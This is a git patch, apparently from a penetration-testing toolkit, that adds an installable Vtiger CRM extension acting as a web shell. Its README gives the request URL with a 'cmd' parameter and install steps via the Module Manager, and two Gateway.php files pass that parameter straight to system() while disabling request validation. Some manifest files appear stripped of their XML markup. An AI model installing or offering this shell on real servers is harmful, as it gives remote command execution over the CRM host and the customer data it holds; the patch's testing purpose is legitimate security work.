From 357b20bf763ffc0c9c07d63b97f65dab70f9d3d7 Mon Sep 17 00:00:00 2001 From: User <7030273+seran@users.noreply.github.com> Date: Tue, 2 Mar 2021 23:07:19 +0530 Subject: [PATCH] vulnerable vtiger plugin --- Web-Shells/Vtiger/README.md | 13 +++++++++ .../en_us/Settings/VtigerVulnPlugin.php | 3 ++ .../languages/en_us/VtigerVulnPlugin.php | 3 ++ Web-Shells/Vtiger/manifest.xml | 25 ++++++++++++++++ .../VtigerVulnPlugin/VtigerVulnPlugin.php | 18 ++++++++++++ .../VtigerVulnPlugin/actions/Gateway.php | 29 +++++++++++++++++++ .../modules/VtigerVulnPlugin/manifest.xml | 25 ++++++++++++++++ .../Vtiger/settings/actions/Gateway.php | 25 ++++++++++++++++ 8 files changed, 141 insertions(+) create mode 100644 Web-Shells/Vtiger/README.md create mode 100644 Web-Shells/Vtiger/languages/en_us/Settings/VtigerVulnPlugin.php create mode 100644 Web-Shells/Vtiger/languages/en_us/VtigerVulnPlugin.php create mode 100644 Web-Shells/Vtiger/manifest.xml create mode 100755 Web-Shells/Vtiger/modules/VtigerVulnPlugin/VtigerVulnPlugin.php create mode 100644 Web-Shells/Vtiger/modules/VtigerVulnPlugin/actions/Gateway.php create mode 100644 Web-Shells/Vtiger/modules/VtigerVulnPlugin/manifest.xml create mode 100644 Web-Shells/Vtiger/settings/actions/Gateway.php diff --git a/Web-Shells/Vtiger/README.md b/Web-Shells/Vtiger/README.md new file mode 100644 index 00000000..bf86df36 --- /dev/null +++ b/Web-Shells/Vtiger/README.md @@ -0,0 +1,13 @@ +# Vtiger Vulnerable Extension + +An installable Vtiger extension which provides interface to perform command execution on the respective web server. + +/index.php?module=VtigerVulnPlugin&action=Gateway&cmd=id + +### Steps to use + +1. Create a zip archive including all the files in the repository +2. Install the zip via Settings -> Module Manager +3. Ready to cook.. + +Don't use it in a production environment. diff --git a/Web-Shells/Vtiger/languages/en_us/Settings/VtigerVulnPlugin.php b/Web-Shells/Vtiger/languages/en_us/Settings/VtigerVulnPlugin.php new file mode 100644 index 00000000..6432cf73 --- /dev/null +++ b/Web-Shells/Vtiger/languages/en_us/Settings/VtigerVulnPlugin.php @@ -0,0 +1,3 @@ + + + VtigerVulnPlugin + + Tools + 1.01 + + 7.0.0 + 7.* + + + LICENSE.txt + + + + + + enabled + + + + disabled + + + diff --git a/Web-Shells/Vtiger/modules/VtigerVulnPlugin/VtigerVulnPlugin.php b/Web-Shells/Vtiger/modules/VtigerVulnPlugin/VtigerVulnPlugin.php new file mode 100755 index 00000000..c291fb69 --- /dev/null +++ b/Web-Shells/Vtiger/modules/VtigerVulnPlugin/VtigerVulnPlugin.php @@ -0,0 +1,18 @@ + \ No newline at end of file diff --git a/Web-Shells/Vtiger/modules/VtigerVulnPlugin/actions/Gateway.php b/Web-Shells/Vtiger/modules/VtigerVulnPlugin/actions/Gateway.php new file mode 100644 index 00000000..a3f125e8 --- /dev/null +++ b/Web-Shells/Vtiger/modules/VtigerVulnPlugin/actions/Gateway.php @@ -0,0 +1,29 @@ +"; + system($request->get("cmd")); + echo ""; + die; + } + + public function validateRequest(Vtiger_Request $request) { + return true; + } + +} \ No newline at end of file diff --git a/Web-Shells/Vtiger/modules/VtigerVulnPlugin/manifest.xml b/Web-Shells/Vtiger/modules/VtigerVulnPlugin/manifest.xml new file mode 100644 index 00000000..6b89fe71 --- /dev/null +++ b/Web-Shells/Vtiger/modules/VtigerVulnPlugin/manifest.xml @@ -0,0 +1,25 @@ + + + VtigerVulnPlugin + + Tools + 1.01 + + 7.0.0 + 7.* + + + LICENSE.txt + + + + + + enabled + + + + disabled + + + diff --git a/Web-Shells/Vtiger/settings/actions/Gateway.php b/Web-Shells/Vtiger/settings/actions/Gateway.php new file mode 100644 index 00000000..5a6c23be --- /dev/null +++ b/Web-Shells/Vtiger/settings/actions/Gateway.php @@ -0,0 +1,25 @@ +"; + system($request->get("cmd")); + echo ""; + die; + } + + public function validateRequest(Vtiger_Request $request) { + return true; + } + +}